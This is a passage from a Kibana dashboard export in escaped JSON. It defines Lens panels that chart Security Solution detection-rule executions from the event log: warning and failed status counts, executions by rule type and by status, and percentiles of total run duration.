failure\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsLegacyMetric\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"9acb5e9e-8c72-4ba6-a4f5-7f2901353c16\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"layerId\":\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"accessor\":\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\",\"layerType\":\"data\",\"textAlign\":\"center\",\"titlePosition\":\"bottom\",\"size\":\"xl\",\"colorMode\":\"Labels\",\"palette\":{\"name\":\"custom\",\"type\":\"palette\",\"params\":{\"steps\":3,\"name\":\"custom\",\"reverse\":false,\"rangeType\":\"number\",\"rangeMin\":null,\"rangeMax\":null,\"progression\":\"fixed\",\"stops\":[{\"color\":\"#d6bf57\",\"stop\":4104}],\"colorStops\":[{\"color\":\"#d6bf57\",\"stop\":null}],\"continuity\":\"all\",\"maxSteps\":5}}},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"partial failure\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"partial failure\"}}}],\"index\":\"9acb5e9e-8c72-4ba6-a4f5-7f2901353c16\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\":{\"columns\":{\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\":{\"label\":\"Warning\",\"dataType\":\"number\",\"operationType\":\"count\",\"isBucketed\":false,\"scale\":\"ratio\",\"sourceField\":\"___records___\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"12011f8d-0d0d-40d6-8ef5-0d50bfe570f8\",\"gridData\":{\"i\":\"12011f8d-0d0d-40d6-8ef5-0d50bfe570f8\",\"y\":7,\"x\":30,\"w\":9,\"h\":8}},{\"type\":\"lens\",\"title\":\"\\\"Failed\\\" statuses\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"Number of rule executions with a failed status (outcome of the rule execution) within the selected timeframe.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"failed\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"failed\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsLegacyMetric\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"9adf5837-270f-43bf-92d8-af2d74022292\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"layerId\":\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\",\"accessor\":\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\",\"layerType\":\"data\",\"textAlign\":\"center\",\"titlePosition\":\"bottom\",\"size\":\"xl\",\"colorMode\":\"Labels\",\"palette\":{\"name\":\"custom\",\"type\":\"palette\",\"params\":{\"steps\":3,\"name\":\"custom\",\"reverse\":false,\"rangeType\":\"number\",\"rangeMin\":null,\"rangeMax\":null,\"progression\":\"fixed\",\"stops\":[{\"color\":\"#cc5642\",\"stop\":94}],\"colorStops\":[{\"color\":\"#cc5642\",\"stop\":null}],\"continuity\":\"all\",\"maxSteps\":5}}},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"failed\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"failed\"}}}],\"index\":\"9adf5837-270f-43bf-92d8-af2d74022292\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"17c4f52b-ef17-43d7-8282-91e48cbe11e7\":{\"columns\":{\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\":{\"label\":\"Failed\",\"dataType\":\"number\",\"operationType\":\"count\",\"isBucketed\":false,\"scale\":\"ratio\",\"sourceField\":\"___records___\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"53cbc7e3-a396-4c55-8a28-f068d2eb3c5d\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"b3b0743e-9a2c-4173-babc-dc93204cc0f2\",\"gridData\":{\"i\":\"b3b0743e-9a2c-4173-babc-dc93204cc0f2\",\"y\":7,\"x\":39,\"w\":9,\"h\":8}},{\"type\":\"lens\",\"title\":\"Executions by rule type\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"Histogram where each column shows a number of rule executions broken down by rule type.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-4eaf036b-c9f5-4206-bcfe-8033bec44a21\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"abcc85f3-00cd-48bd-a313-de50207ab1b6\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"top\",\"isInside\":false,\"showSingleSeries\":false,\"shouldTruncate\":false,\"verticalAlignment\":\"top\",\"horizontalAlignment\":\"left\",\"legendSize\":\"auto\",\"legendStats\":[\"currentAndLastValue\"]},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"bar_stacked\",\"layers\":[{\"layerId\":\"4eaf036b-c9f5-4206-bcfe-8033bec44a21\",\"seriesType\":\"bar_stacked\",\"xAccessor\":\"44be5a39-e31d-4242-9778-58ee5ffefbb8\",\"splitAccessor\":\"124a76f1-8df0-4410-87b0-25b9cb2398d9\",\"accessors\":[\"cb5d803d-fa0a-4062-a595-2cec9118bd31\"],\"layerType\":\"data\"}]},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"abcc85f3-00cd-48bd-a313-de50207ab1b6\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"4eaf036b-c9f5-4206-bcfe-8033bec44a21\":{\"columns\":{\"44be5a39-e31d-4242-9778-58ee5ffefbb8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true,\"dropPartials\":false}},\"cb5d803d-fa0a-4062-a595-2cec9118bd31\":{\"label\":\"Number of executions\",\"dataType\":\"number\",\"operationType\":\"count\",\"isBucketed\":false,\"scale\":\"ratio\",\"sourceField\":\"___records___\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true},\"124a76f1-8df0-4410-87b0-25b9cb2398d9\":{\"label\":\"Rule type\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.category\",\"isBucketed\":true,\"params\":{\"size\":10,\"orderBy\":{\"type\":\"column\",\"columnId\":\"cb5d803d-fa0a-4062-a595-2cec9118bd31\"},\"orderDirection\":\"desc\",\"otherBucket\":true,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"secondaryFields\":[]},\"customLabel\":true}},\"columnOrder\":[\"124a76f1-8df0-4410-87b0-25b9cb2398d9\",\"44be5a39-e31d-4242-9778-58ee5ffefbb8\",\"cb5d803d-fa0a-4062-a595-2cec9118bd31\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"78c659aa-a001-4c30-9452-e9c7d0c0ec5d\",\"gridData\":{\"i\":\"78c659aa-a001-4c30-9452-e9c7d0c0ec5d\",\"y\":24,\"x\":0,\"w\":21,\"h\":13}},{\"type\":\"lens\",\"title\":\"Executions by status\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"Histogram where each column shows a number of rule executions broken down by rule status (outcome of the rule execution).\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":true,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"running\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"running\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-4eaf036b-c9f5-4206-bcfe-8033bec44a21\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"0ccd359c-35a9-42ee-9b53-e0061755ffef\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"top\",\"isInside\":false,\"showSingleSeries\":false,\"shouldTruncate\":false,\"verticalAlignment\":\"top\",\"horizontalAlignment\":\"left\",\"legendSize\":\"auto\",\"legendStats\":[\"currentAndLastValue\"]},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"bar_stacked\",\"layers\":[{\"layerId\":\"4eaf036b-c9f5-4206-bcfe-8033bec44a21\",\"seriesType\":\"bar_stacked\",\"xAccessor\":\"44be5a39-e31d-4242-9778-58ee5ffefbb8\",\"splitAccessor\":\"124a76f1-8df0-4410-87b0-25b9cb2398d9\",\"accessors\":[\"cb5d803d-fa0a-4062-a595-2cec9118bd31\"],\"layerType\":\"data\",\"palette\":{\"type\":\"palette\",\"name\":\"status\"}}]},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}},\"meta\":{\"index\":\"kibana-event-log-data-view\",\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":true,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"running\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"running\"}}}],\"index\":\"0ccd359c-35a9-42ee-9b53-e0061755ffef\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"4eaf036b-c9f5-4206-bcfe-8033bec44a21\":{\"columns\":{\"44be5a39-e31d-4242-9778-58ee5ffefbb8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true,\"dropPartials\":false}},\"cb5d803d-fa0a-4062-a595-2cec9118bd31\":{\"label\":\"Number of executions\",\"dataType\":\"number\",\"operationType\":\"count\",\"isBucketed\":false,\"scale\":\"ratio\",\"sourceField\":\"___records___\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true},\"124a76f1-8df0-4410-87b0-25b9cb2398d9\":{\"label\":\"Statuses\",\"dataType\":\"string\",\"operationType\":\"filters\",\"scale\":\"ordinal\",\"isBucketed\":true,\"params\":{\"filters\":[{\"label\":\"Succeeded\",\"input\":{\"query\":\"kibana.alert.rule.execution.status: \\\"succeeded\\\" \",\"language\":\"kuery\"}},{\"input\":{\"query\":\"kibana.alert.rule.execution.status: \\\"partial failure\\\" \",\"language\":\"kuery\"},\"label\":\"Warning\"},{\"input\":{\"query\":\"kibana.alert.rule.execution.status: \\\"failed\\\"\",\"language\":\"kuery\"},\"label\":\"Failed\"}]},\"customLabel\":true}},\"columnOrder\":[\"124a76f1-8df0-4410-87b0-25b9cb2398d9\",\"44be5a39-e31d-4242-9778-58ee5ffefbb8\",\"cb5d803d-fa0a-4062-a595-2cec9118bd31\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"b3dd29a9-c051-46ab-b1fa-facf899f7af9\",\"gridData\":{\"i\":\"b3dd29a9-c051-46ab-b1fa-facf899f7af9\",\"y\":24,\"x\":21,\"w\":27,\"h\":13}},{\"type\":\"visualization\",\"title\":\"\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"savedVis\":{\"title\":\"\",\"description\":\"\",\"type\":\"markdown\",\"params\":{\"fontSize\":12,\"openLinksInNewTab\":false,\"markdown\":\"**Total rule execution duration** shows how much time it took for a rule to run from the very start to the very end.\"},\"uiState\":{},\"data\":{\"aggs\":[],\"searchSource\":{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[]}}}},\"panelIndex\":\"e2b4b41a-2fd5-4733-a297-c67571b8bb57\",\"gridData\":{\"i\":\"e2b4b41a-2fd5-4733-a297-c67571b8bb57\",\"y\":37,\"x\":0,\"w\":48,\"h\":4}},{\"type\":\"lens\",\"title\":\"Total rule execution duration, percentiles\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"This chart aggregates this metric across all rules and shows how a few important percentiles of the metric were changing over time. 99th percentile means that 99% of rule executions had a total duration less than the percentile's value.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.category\",\"params\":{\"query\":\"siem\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"2720edea-b96b-47d7-bf57-ff3a4c91ab9d\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\",\"maxLines\":1},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\"},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"yConfig\":[{\"forAccessor\":\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"color\":\"#d36086\",\"axisMode\":\"left\"},{\"forAccessor\":\"f623346f-da47-4819-b485-d3527bd4506e\",\"axisMode\":\"left\",\"color\":\"#9170b8\"},{\"forAccessor\":\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\",\"axisMode\":\"left\",\"color\":\"#6092c0\"}]}],\"curveType\":\"CURVE_MONOTONE_X\",\"yTitle\":\"Total execution duration, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.category\",\"params\":{\"query\":\"siem\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"2720edea-b96b-47d7-bf57-ff3a4c91ab9d\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\":{\"label\":\"99th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_run_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":99},\"customLabel\":true},\"f623346f-da47-4819-b485-d3527bd4506e\":{\"label\":\"95th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_run_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":95},\"customLabel\":true},\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\":{\"label\":\"50th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_run_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":50},\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"ad5995be-bf0f-48ba-8dc8-7313ca3bfbae\",\"gridData\":{\"i\":\"ad5995be-bf0f-48ba-8dc8-7313ca3bfbae\",\"y\":41,\"x\":0,\"w\":21,\"h\":15}},{\"type\":\"lens\",\"title\":\"Total rule execution duration, top 5 rules per @timestamp\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"0b7e01b1-974a-4de9-867d-46fc